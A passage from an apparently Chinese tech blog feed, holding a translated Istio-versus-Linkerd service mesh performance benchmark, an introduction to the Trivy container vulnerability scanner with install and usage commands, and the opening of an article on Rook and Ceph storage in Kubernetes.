&lt;p&gt;作者：&lt;a href=&#34;https://twitter.com/ThiloFM&#34; target=&#34;_blank&#34;&gt;Thilo Fromm&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&#34;动机&#34;&gt;动机&lt;/h2&gt;

&lt;p&gt;过去几年里，服务网格在 Kubernetes 生态中迅速成长。Service Mesh 的&lt;strong&gt;价值&lt;/strong&gt;难以抗拒，然而对摩拳擦掌的用户来说，另一个基础问题就是：&lt;strong&gt;成本&lt;/strong&gt;怎样？&lt;/p&gt;

&lt;p&gt;成本有很多种，可不仅仅是学习新技术时的投入。在这一篇报告中，我们选择了一个易于量化的方面：在一定规模的服务中的资源消耗和性能影响。要进行这个测量，我们设计一系列测试场景，针对候选产品进行测试。我们的的候选包括 Istio（来自 Google 和 IBM 的 Istio 以及 Linkerd（CNCF 项目）。&lt;/p&gt;

&lt;p&gt;Buoyant 是 Linkerd 的首创者，他们和我们取得联系，目的是获得一个 Istio 和 Linkerd 的客观评判。这给我们一个深入服务网格技术的机会，欣然从命。&lt;/p&gt;

&lt;p&gt;Kinvolk 目前有客户正在尝试 Istio。我们的使命是在云原生世界中促进开源技术的发展，这也是我们呈现这一对比报告的根本原因。&lt;/p&gt;

&lt;p&gt;下面使用的测试方案也已经开放给开源社区，地址是 &lt;a href=&#34;https://github.com/kinvolk/service-mesh-benchmark。&#34; target=&#34;_blank&#34;&gt;https://github.com/kinvolk/service-mesh-benchmark。&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&#34;目标&#34;&gt;目标&lt;/h2&gt;

&lt;p&gt;研究过程中我们有三个目标：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;提供一个可重现的测试框架，任何人都可以下载和使用。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;识别最能反应服务网格运行成本的场景和指标。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;根据业界在性能测试方面的最佳实践，例如控制编译来源，处理 Coordinated Omission（CO），来对流行服务网格进行评估。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;场景&#34;&gt;场景&lt;/h2&gt;

&lt;p&gt;我们的目标是在常规大负载集群的操作环境下，理解服务网格的性能表现。这意味着在产生压力的时候，集群应用还有能力在已定时间范围内给出响应。在系统受到压力的时候，用户访问该集群所服务的页面，还能够在一个可忍受的范围内提供服务。在真实世界中，延迟增大到一定程度之后，就会采取措施进行扩容了。&lt;/p&gt;

&lt;p&gt;在本文的测试中，测试负载（每秒 HTTP 请求）的水平是这样设置的——在给应用和服务网格施加压力的时候，运行其上的流量还在一个可控范围之内。&lt;/p&gt;

&lt;h2 id=&#34;指标&#34;&gt;指标&lt;/h2&gt;

&lt;h3 id=&#34;rps-用户体验和-co&#34;&gt;RPS、用户体验和 CO&lt;/h3&gt;

&lt;p&gt;测试中使用一个恒定的请求速率（RPS）发送 hTTP 请求，我们对响应延迟进行测量，来确定服务网格的总体性能。同样的 RPS 也会施加到一个无服务网格的集群上，以此结果来描述集群和应用的性能基线。&lt;/p&gt;

&lt;p&gt;我们的测试过程很注重 CO，在以 UX 为中心的视角下的一个重要因素。负载生成器只会在前一个请求完成之后才发起新请求，而不是为了满足 RPS 要求，不顾之前的请求直接按照时间点发起心情求。&lt;/p&gt;

&lt;p&gt;比如说如果我们要做一个 10 RPS 的延迟测试，我们每隔 100 毫秒就发出一个新请求，也就是一个 10 Hz 的速率。但是如果负载生成器在等待一个耗时超出 100 毫秒的请求的结束的话，那么这个 RPS 最多只能到 9。单一请求造成了高延迟，后续的请求也会受到拖累——处理的并不慢，只是开始得晚了。这种行为有两个缺点：第一个就是刚提到的，单一的高延迟请求造成后续请求的延迟；第二就是请求的发生过程被暂停，不符合 RPS 要求。在真实情况下，高延迟问题很可能因为用户蜂拥而至，产生大量积压。&lt;/p&gt;

&lt;p&gt;我们使用 &lt;a href=&#34;https://github.com/giltene/wrk2&#34; target=&#34;_blank&#34;&gt;wrk2&lt;/a&gt; 来生成负载并在客户端测量延迟。wrk2（Gil Tene）是流行的 http 压测工具 wrk（Will Glozer）的 Fork。wrk2 提供了 RPS 参数，可以用指定速率来生成负载，它通过在发起请求的时间点上测试延迟的方式来消除 CO 问题，还会尝试在请求迟发的情况下以双倍速率生成请求的方式来追赶进度。wrk2 还包含了 Gil Tene 的 HDR 直方图功能，提供了无损精确性的记录。越长的执行时间会有越高的精确度，这样后几个百分位的数据精度更高，也是我们更感兴趣的区域。&lt;/p&gt;

&lt;p&gt;为了完成这个测试，我们对 wrk2 的功能做了扩展，加入了多服务器地址和多 HTTP 资源路径的支持。我们不想将这个功能独立 Fork 出来，而是会和上游合作加入我们的&lt;a href=&#34;https://github.com/kinvolk/wrk2&#34; target=&#34;_blank&#34;&gt;变更&lt;/a&gt;。&lt;/p&gt;

&lt;h3 id=&#34;性能&#34;&gt;性能&lt;/h3&gt;

&lt;p&gt;为了评估性能，我们可以研究一下延迟的分布（直方图），尤其是尾部的最后几个百分位的延迟。这反映了我们本次测试在 UE 上的焦点：一个典型的页面或者服务，需要不止一个请求来完成动作。如果一个请求延迟了，整个动作都会变慢。单一请求的 p99 在更复杂的操作中会有很大影响，例如浏览器访问一个页面，获取页面中的资源并进行顺序渲染——这就是我们看重 p99 的原因。&lt;/p&gt;

&lt;h3 id=&#34;资源消耗&#34;&gt;资源消耗&lt;/h3&gt;

&lt;p&gt;使用服务网格会让集群消耗更多资源，和业务逻辑发生争用。为了更好地理解这一效果，我们同时衡量了服务网格控制平面和应用 Sidecar 中的 CPU 和内存消耗。在测试期间，会用一个较高频率在容器级别收集 CPU 使用率和内存用量，每次运行中会选择组件的最大资源消耗，得出所有运行中的中位数并用于出具结果。&lt;/p&gt;

&lt;p&gt;我们注意到，内存消耗在测试结束时达到高峰。这个情况是合理的，根据上面的讨论，wrk2 用固定频率发起请求，当延迟超过一个阈值时，负载就会开始堆积，所以内存一旦分配就一直要到测试结束才会释放。CPU 使用率也会全程持续走高。&lt;/p&gt;

&lt;h2 id=&#34;测试环境&#34;&gt;测试环境&lt;/h2&gt;

&lt;h3 id=&#34;集群&#34;&gt;集群&lt;/h3&gt;

&lt;p&gt;我们使用了自动部署的测试集群，方便测试过程的启动和结束，也更加容易进行统计，生成可靠的数据。&lt;/p&gt;

&lt;p&gt;在这个服务网格性能测试过程中，我们使用了一个 5 节点的集群，每个节点使用 24核/48线程的 AMD EPYC CPU，主频为 2.4GHz，64G 内存。我们的工具可以使用可配置的节点数量，可以用不同的配置重新运行。&lt;/p&gt;

&lt;p&gt;负载的生成和延迟的测量都在集群内完成。为了消除噪音和 Ingress Gateway 的数据污染，我们把测试聚焦在应用之间的服务网格。负载生成器作为一个 Pod 部署在集群中，我们保留一个节点，用于负载生成和指标测量，在其它四个节点运行一定数量的应用实例。为了合理的统计分布，我们每次运行都会随机选择一个节点来运行负载生成器。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/clusterlayout.png&#34; alt=&#34;cluster layout&#34; /&gt;&lt;/p&gt;

&lt;p&gt;每次运行之前，会随机选择一个节点专门用于生成负载。其它节点运行应用负责承担负载。&lt;/p&gt;

&lt;p&gt;为了完成这次测试，我们选择 Packet 作为我们的 IaaS 供应商，工作节点我们选择了 c2.medium。Packet 提供了裸金属服务器，这样就让我们避免了虚拟化环境中常见的干扰问题。&lt;/p&gt;

&lt;h3 id=&#34;应用&#34;&gt;应用&lt;/h3&gt;

&lt;p&gt;根据前面的讨论，我们选择 wrk2 生成负载，并对这一工具进行了定制，可以同时访问多个 HTTP 端点。&lt;/p&gt;

&lt;p&gt;我们用来运行测试的目标应用是 Linkerd 的演示应用 &lt;code&gt;Emojivoto&lt;/code&gt;，这个应用自身跟 Linkerd/服务网格 的功能并无相关，Emojivoto 使用一个名为 &lt;code&gt;web-svc&lt;/code&gt;（&lt;code&gt;type: load-balancer&lt;/code&gt;）的 HTTP 微服务作为前端。&lt;code&gt;web-svc&lt;/code&gt; 使用 gRPC 和 &lt;code&gt;emoji-svc&lt;/code&gt;（提供表情符） 以及 &lt;code&gt;voting-svc&lt;/code&gt;（提供可控的投票）后端进行通信。这个应用简单清晰，包含了测试所需的云原生应用的所有要素，因此我们选择它作为测试应用。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/emojivoto.png&#34; alt=&#34;emojivoto&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Emojivoto 应用包含了三个微服务。&lt;/p&gt;

&lt;p&gt;然而只用一个应用进行服务网格测试，是很不现实的，真实世界中的服务网格，应该有复杂的多应用的部署。为了在保持简单的情况下更加仿真，我们用可部署的份数来部署 Emojivoto 应用，每个应用的名字中都加入序号。例如  &lt;code&gt;web-svc-1&lt;/code&gt;、&lt;code&gt;emoji-svc-1&lt;/code&gt;、&lt;code&gt;voting-svc-1&lt;/code&gt; 以及 &lt;code&gt;web-svc-2&lt;/code&gt;、&lt;code&gt;emoji-svc-2&lt;/code&gt;、&lt;code&gt;voting-svc-2&lt;/code&gt;。我们的负载均衡会将请求分发给所有这些 App，观察固定的 RPS。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/manyemojivotos.png&#34; alt=&#34;replica&#34; /&gt;&lt;/p&gt;

&lt;p&gt;循环利用 YAML，并在名字中加入序号，部署多套应用。&lt;/p&gt;

&lt;h3 id=&#34;运行测试和统计的稳健性&#34;&gt;运行测试和统计的稳健性&lt;/h3&gt;

&lt;p&gt;因为我们使用的是 Packet 提供的公共数据中心来运行我们的测试，所以也不能选择特定的服务器来进行部署。服务器的年龄和他的部件（内存、CPU 等），数据中心中的相对位置（同一个机架、房间、安全区），以及节点之间的物理连接，这些情况都会对测试的原始数据产生影响。其它服务器和我们的测试无关，但是在同一个数据中心内，共享同样的物理网络资源，也是可能对测试造成干扰的，最终会产生不可靠的测试数据。我们的每个数据点都有足够的统计分布样本，这样在进行对比的时候就能消除同一网络内外部因素造成的影响——例如 Istio 和 Linkerd 的延迟以及资源消耗方面的对比。我们还使用了不同数据中心的多个集群进行了测试，这也让我们对测试数据的可靠性信心大增。&lt;/p&gt;

&lt;p&gt;为了得到足够的统计分布，我们会每个测试都会运行两次，以得出平均值和标准差，我们在两个集群上同时独立部署，防止遭遇低档硬件或者故障网络，或有服务器被放置在数据中心的角落。&lt;/p&gt;

&lt;p&gt;典型的性能测试一般有几个步骤，这些步骤会在两个集群上同时运行，来消除上面提到的隐患。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;测试之前，重启所有工作节点。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在两个集群的 &lt;code&gt;istio-stock&lt;/code&gt;、&lt;code&gt;istio-tuned&lt;/code&gt;、&lt;code&gt;linkerd&lt;/code&gt;、&lt;code&gt;bare&lt;/code&gt; 命名空间中，分别：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;安装服务网格（当然，不包含 &lt;code&gt;bare&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;部署 emojivoto 应用。&lt;/li&gt;
&lt;li&gt;部署负载生成器 Job。&lt;/li&gt;
&lt;li&gt;等 Job 结束，每 30 秒拉取一次资源消耗数据。&lt;/li&gt;
&lt;li&gt;拉取测试结果日志，其中包含了延迟指标。&lt;/li&gt;
&lt;li&gt;删除敷在生成 Job 以及 emojivoto。&lt;/li&gt;
&lt;li&gt;删除服务网格。&lt;/li&gt;
&lt;li&gt;回到第一步，测试下一个服务网格（顺序为：Linkerd-&amp;gt;Istio-&amp;gt;Bare）。&lt;/li&gt;
&lt;li&gt;在所有的 4 个测试结束之后，再运行第二次，以满足统计需要。&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;重现性&#34;&gt;重现性&lt;/h3&gt;

&lt;p&gt;w我们使用的是 Kinvolk 最近发布的 Kubernetes 发行版：Lokomotive。用于集群部署以及用于测试的代码都是开源的，保存在 Github 上。允许重新进行测试，也希望能够从其它用户那里得到改进。&lt;/p&gt;

&lt;h3 id=&#34;测试的运行和观测&#34;&gt;测试的运行和观测&lt;/h3&gt;

&lt;p&gt;我们在 &lt;code&gt;bare&lt;/code&gt;（无服务网格）、&lt;code&gt;istio-stock&lt;/code&gt;（无微调）、&lt;code&gt;istio-tuned&lt;/code&gt; 以及 &lt;code&gt;Linkerd&lt;/code&gt; 上，用 500 的 RPS 运行 30 分钟。在两个集群上各运行两次，每种数据就有了 4 个样本。测试集群分布在两个不同地理区域的不同的数据中心，一个是 Packet 的 Sunnyvale 数据中心，另一个是纽约的 Parsippany 数据中心。&lt;/p&gt;

&lt;h3 id=&#34;服务网格的版本&#34;&gt;服务网格的版本&lt;/h3&gt;

&lt;h4 id=&#34;istio-stock-和-tuned&#34;&gt;Istio：stock 和 tuned&lt;/h4&gt;

&lt;p&gt;我们用 &lt;a href=&#34;https://github.com/istio/istio/releases/tag/1.1.6&#34; target=&#34;_blank&#34;&gt;Istio 1.1.6&lt;/a&gt; 运行这一测试，&lt;code&gt;stock&lt;/code&gt; 运行的是根据&lt;a href=&#34;https://istio.io/docs/setup/kubernetes/install/kubernetes/&#34; target=&#34;_blank&#34;&gt;安装文档&lt;/a&gt;进行部署的版本，&lt;code&gt;tuned&lt;/code&gt; 版本则移除了内存限制，禁用了部分 Istio 组件，执行了不少推荐的微调。尤其是我们禁用了 Mixer、Policy、Tracing、Gateways 以及 Prometheus。&lt;/p&gt;

&lt;h4 id=&#34;linkerd&#34;&gt;Linkerd&lt;/h4&gt;

&lt;p&gt;我们使用的是 Linkerd 的 &lt;a href=&#34;https://github.com/linkerd/linkerd2/releases/tag/edge-19.5.2&#34; target=&#34;_blank&#34;&gt;Linkerd2-edge-19.5.2&lt;/a&gt;。我们使用的是 Linkerd 的&lt;a href=&#34;https://linkerd.io/2/getting-started/&#34; target=&#34;_blank&#34;&gt;标准配置&lt;/a&gt;，没有进行任何调整。&lt;/p&gt;

&lt;h3 id=&#34;测试服务网格的上限&#34;&gt;测试服务网格的上限&lt;/h3&gt;

&lt;p&gt;在使用稳定吞吐量开始长期运行之前，我们用一个较短的测试来确定服务网格吞吐量和延迟的范围。我们的目标是找到一个负载点，在这个点上，网格还能够用可接受的性能来处理流量。&lt;/p&gt;

&lt;p&gt;为了我们的测试，我们运行了 30 个 Emojivoto 应用，也就是 90 个微服务，平均下来每个节点有 7.5 个应用 22 个微服务。我们用多个 RPS 各运行 10 分钟，来确定前面所说的负载点。&lt;/p&gt;

&lt;h3 id=&#34;测试运行时间&#34;&gt;测试运行时间&lt;/h3&gt;

&lt;p&gt;我们最有兴趣的是尾部的百分位，因此测试的运行时间就很有影响了。越长的运行时间，在 99.9999 百分位和 100 百分位上的延迟就会越高。为了模拟用户涌入造成的高峰、以及新计算资源加入后的恢复，我们决定了 30 分钟的运行时间。注意，我们认为在多数环境里，尤其是自动伸缩的环境中，新资源的加入周期应该远低于 30 分钟；我们还认为，一个健壮的应用环境中，30 分钟足以应对扩容方面的意外。&lt;/p&gt;

&lt;h2 id=&#34;第一次测试-500-rps-30-分钟&#34;&gt;第一次测试：500 RPS，30 分钟&lt;/h2&gt;

&lt;p&gt;这次测试运行超过 30 分钟，500 RPS。&lt;/p&gt;

&lt;h3 id=&#34;延迟分布&#34;&gt;延迟分布&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/500RPS-latency.png&#34; alt=&#34;500RPS-latency&#34; /&gt;&lt;/p&gt;

&lt;p&gt;我们在对数中观察到裸金属案例运行中，出现了很大的错误——可能是 Packet 的问题。这个情况在 99.9 和 99.999 上尤其明显，然而其他的数据点还是证明了整体趋势。我们看到 Linkerd 在这方面是胜出的，Istio 的缺省配置和微调配置相差不大，接下来看看资源消耗。&lt;/p&gt;

&lt;h3 id=&#34;内存和-cpu&#34;&gt;内存和 CPU&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/500RPS-memory_usage.png&#34; alt=&#34;500RPS-memory_usage.png&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/500RPS-cpu_utilization.png&#34; alt=&#34;500RPS-cpu_utilization&#34; /&gt;&lt;/p&gt;

&lt;p&gt;我们在 4 个独立测试运行的过程中，测量了内存分配和 CPU 使用率，在这 4 个样本中，使用了中位数以及最高最低值。Linkerd 控制平面内存消耗的异常点是由 linkerd-prometheus 容器造成的，它消耗了 Linkerd 平面其他组件内存的两倍。&lt;/p&gt;

&lt;p&gt;而 Istio 中，我们看到了几次控制平面容器（Pilot 及其代理）消失的情况。我们不明白其中的原因，也没有深究，也没有把消失的容器计入结果。&lt;/p&gt;

&lt;h2 id=&#34;第二次测试-600-rps-30-分钟&#34;&gt;第二次测试：600 RPS，30 分钟&lt;/h2&gt;

&lt;p&gt;这次测试运行超过 30 分钟，600 RPS。&lt;/p&gt;

&lt;h3 id=&#34;延迟分布-1&#34;&gt;延迟分布&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/600RPS-latency.png&#34; alt=&#34;600RPS-latency&#34; /&gt;&lt;/p&gt;

&lt;p&gt;我们再次观测到了裸金属测试中的抖动；然而其影响比 500 RPS 的时候更小。我们逼近了 Linkerd 的可接受响应时间的上限，在 100 百分位上的是 3 秒钟的延迟。&lt;/p&gt;

&lt;p&gt;Istio 轻松的把延迟时间推到了分钟级（别忘了 Y 轴是对数），我们还看到了大量的 Socket/HTTP 错误，占了大概 1%-5.2%，中位数在 3.6%。我们要指出，Istio 的 RPS 承受范围在 565 和 571 之间，中位数是 568。Istio 在本次测试中没能达到 600 RPS。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/600RPS-memory_usage.png&#34; alt=&#34;600RPS-memory_usage.png&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/600RPS-cpu_utilization.png&#34; alt=&#34;600RPS-cpu_utilization&#34; /&gt;&lt;/p&gt;

&lt;p&gt;上图的对比不太公平——我们看到的是 Linkerd 在 600 RPS 时候的表现，而 Istio 的是 570 RPS——但我们还是看得出，Istio 这里的资源需求。我们再次观察到 Istio 容器消失的情况，同样做了忽略处理。&lt;/p&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;与裸金属相比，在常规条件下，Linkerd 和 Istio 的开销都算是可以接受的。当进入高负载状态时，相对于 Istio，Linkerd 能够提供更高的 RPS，并且使用更少的资源。&lt;/p&gt;

&lt;h2 id=&#34;下一步&#34;&gt;下一步&lt;/h2&gt;

&lt;p&gt;基于上面测试的观察，我们认为我们建立了一个良好的测试基础。未来的测试会进行更多的尝试，包括增强现有的测试，以及扩展测试场景。&lt;/p&gt;

&lt;p&gt;我们认为把负载生成器限制在一个 Pod 中是一个最大的限制。这限制了负载的生成能力。如果突破了这一限制，我们就有能力进行更多样的测试方法。然而在多个 Pod 中并列运行，又带来了结果合并的问题。&lt;/p&gt;

&lt;h2 id=&#34;后记&#34;&gt;后记&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;以下内容纯属个人胡言乱语&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;也不知道为啥，连续冒出几个性能测试来，与性能相比，更重要的是靠谱和有用好吗。Istio 还是 Linkerd，能长点心么。&lt;/p&gt;

&lt;h2 id=&#34;参考资料&#34;&gt;参考资料&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://linkerd.io/2019/05/18/linkerd-benchmarks/&#34; target=&#34;_blank&#34;&gt;https://linkerd.io/2019/05/18/linkerd-benchmarks/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>全面易用的镜像漏洞检测工具：Trivy</title>
      <link>/post/introducing-trivy/</link>
      <pubDate>Fri, 17 May 2019 20:36:33 +0800</pubDate>
      <guid>/post/introducing-trivy/</guid>
      <description>

&lt;blockquote&gt;
&lt;p&gt;道路千万条，安全第一条；
镜像不规范，同事两行泪。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/aquasecurity/trivy&#34; target=&#34;_blank&#34;&gt;Trivy&lt;/a&gt; 是一个面向镜像的漏洞检测工具，具备如下特点：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;开源&lt;/li&gt;
&lt;li&gt;免费&lt;/li&gt;
&lt;li&gt;易用&lt;/li&gt;
&lt;li&gt;准确度高&lt;/li&gt;
&lt;li&gt;CI 友好&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;相对于老前辈 &lt;a href=&#34;https://github.com/coreos/clair&#34; target=&#34;_blank&#34;&gt;Clair&lt;/a&gt;，Trivy 的使用非常直观方便，适用于更多的场景。&lt;/p&gt;

&lt;p&gt;下面是官方出具的对比表格：&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;扫描器&lt;/th&gt;
&lt;th align=&#34;center&#34;&gt;操作系统&lt;/th&gt;
&lt;th align=&#34;center&#34;&gt;依赖检测&lt;/th&gt;
&lt;th align=&#34;center&#34;&gt;适用性&lt;/th&gt;
&lt;th align=&#34;center&#34;&gt;准确度&lt;/th&gt;
&lt;th align=&#34;center&#34;&gt;CI 友好&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Trivy&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◎&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;Clair&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;×&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;△&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;△&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;Anchore Engine&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;△&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;△&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;△&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;Quay&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;×&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;×&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;MicroScanner&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;×&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;△&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;Docker Hub&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;×&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;×&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;×&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;GCR&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;×&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;◯&lt;/td&gt;
&lt;td align=&#34;center&#34;&gt;×&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;blockquote&gt;
&lt;p&gt;另外还提供了精确度的对比表格，但是追究下来，无非是采用的参考数据的差异。至少这并不是我看重的东西，顺手是第一要务。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;安装&#34;&gt;安装&lt;/h2&gt;

&lt;h3 id=&#34;macos&#34;&gt;MacOS&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;$ brew tap knqyf263/trivy
$ brew install knqyf263/trivy/trivy
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;rhel-centos&#34;&gt;RHEL/CentOS&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;$ sudo vim /etc/yum.repos.d/trivy.repo
[trivy]
name=Trivy repository
baseurl=https://knqyf263.github.io/trivy-repo/rpm/releases/$releasever/$basearch/
gpgcheck=0
enabled=1
$ sudo yum -y update
$ sudo yum -y install trivy
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;使用&#34;&gt;使用&lt;/h2&gt;

&lt;p&gt;这个工具的最大闪光点就是提供了很多适合用在自动化场景的用法。&lt;/p&gt;

&lt;h3 id=&#34;扫描镜像&#34;&gt;扫描镜像：&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;$ trivy centos
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;扫描镜像文件&#34;&gt;扫描镜像文件&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;$ docker save ruby:2.3.0-alpine3.9 -o ruby-2.3.0.tar
$ trivy --input ruby-2.3.0.tar
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;根据严重程度进行过滤&#34;&gt;根据严重程度进行过滤&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;$ trivy --severity HIGH,CRITICAL ruby:2.3.0
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;忽略未修复问题&#34;&gt;忽略未修复问题&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;$ trivy --ignore-unfixed ruby:2.3.0
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;忽略特定问题&#34;&gt;忽略特定问题&lt;/h3&gt;

&lt;p&gt;使用 &lt;code&gt;.trivyignore&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ cat .trivyignore
# Accept the risk
CVE-2018-14618

# No impact in our settings
CVE-2019-1543

$ trivy python:3.4-alpine3.9
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;使用-json-输出结果&#34;&gt;使用 JSON 输出结果&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;$ trivy -f json dustise/translat-chatbot:20190428-5
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;定义返回值&#34;&gt;定义返回值&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;$ trivy --exit-code 0 --severity MEDIUM,HIGH ruby:2.3.0
$ trivy --exit-code 1 --severity CRITICAL ruby:2.3.0
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;总结&#34;&gt;总结&lt;/h2&gt;

&lt;p&gt;相对于&lt;a href=&#34;https://github.com/knqyf263/trivy#comparison-with-other-scanners&#34; target=&#34;_blank&#34;&gt;其它同类工具&lt;/a&gt;，Trivy 非常适合自动化操作，从 CircleCI 之类的公有服务，到企业内部使用的 Jenkins、Gitlab 等私有工具，或者作为开发运维人员的自测环节，都有 Trivy 的用武之地。&lt;/p&gt;

&lt;h2 id=&#34;参考链接&#34;&gt;参考链接&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;https://github.com/aquasecurity/trivy&lt;/code&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Rook &amp; Ceph 简介</title>
      <link>/post/the-ultimate-rook-and-ceph-survival-guide/</link>
      <pubDate>Fri, 17 May 2019 09:38:33 +0800</pubDate>
      <guid>/post/the-ultimate-rook-and-ceph-survival-guide/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://www.cloudops.com/2019/05/the-ultimate-rook-and-ceph-survival-guide/&#34; target=&#34;_blank&#34;&gt;The Ultimate Rook and Ceph Survival Guide&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;在容器世界中，无状态是一个核心原则，然而我们始终需要保存数据，并提供给他人进行访问。所以就需要一个方案用于保持数据，以备重启之需。&lt;/p&gt;

&lt;p&gt;在 Kubernetes 中，PVC 是管理有状态应用的一个推荐方案。有了 PVC 的帮助，Pod 可以申请并连接到存储卷，这些存储卷在 Pod 生命周期结束之后，还能独立存在。&lt;/p&gt;

&lt;p&gt;PVC 在存储方面让开发和运维的职责得以分离。运维人员负责供应存储，而开发人员则可以在不知后端细节的情况下，申请使用这些存储卷。&lt;/p&gt;

&lt;p&gt;PVC 由一系列组件构成：&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://kubernetes.io/docs/concepts/storage/volumes/#persistentvolumeclaim&#34; target=&#34;_blank&#34;&gt;PVC&lt;/a&gt;：是 Pod 对存储的请求。PVC 会被 Pod 动态加载成为一个存储卷。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://kubernetes.io/docs/concepts/storage/persistent-volumes/&#34; target=&#34;_blank&#34;&gt;PV&lt;/a&gt;，可以由运维手工分配，也可以使用 &lt;code&gt;StorageClass&lt;/code&gt; 动态分配。PV 受 Kubernetes 管理，但并不与特定的 Pod 直接绑定。&lt;/p&gt;

